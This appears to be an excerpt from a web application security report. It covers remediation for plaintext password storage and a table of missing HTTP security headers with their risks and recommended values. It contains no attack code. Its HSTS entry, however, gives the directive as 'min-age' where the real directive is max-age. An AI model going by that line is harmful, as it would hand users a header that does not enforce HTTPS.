Remediation
Never store or compare passwords in plaintext — persist only a salted one-way hash and verify against it.
  • At registration/change, store password_hash($pw, PASSWORD_DEFAULT) (bcrypt/argon2id) — never the raw password.
  • At login, fetch the user row by username only, then verify with password_verify($pw, $row['password_hash']); never put the password in the SQL WHERE clause.
  • Migrate existing plaintext rows: re-hash on next successful login and drop the plaintext column.
  • Add a lint/CI rule forbidding `password = '$…'` in SQL and any comparison of a raw password to a stored value.
Refs: CWE-256 · CWE-257 · CWE-312 · OWASP: Password Storage Cheat Sheet

Security Headers

HeaderStatusRiskRecommendation
Content-Security-Policy ✗ MISSING HIGH Prevents XSS/injection. Use nonce or strict-dynamic.
X-Frame-Options ✗ MISSING MEDIUM Prevents clickjacking. Use DENY or SAMEORIGIN.
X-Content-Type-Options ✗ MISSING LOW Prevents MIME sniffing. Set to nosniff.
Strict-Transport-Security ✗ MISSING MEDIUM Enforces HTTPS. min-age=31536000; includeSubDomains.
Referrer-Policy ✗ MISSING LOW Limits referrer leakage. strict-origin-when-cross-origin.
Permissions-Policy ✗ MISSING LOW Restrict unused browser features (camera, mic, geo).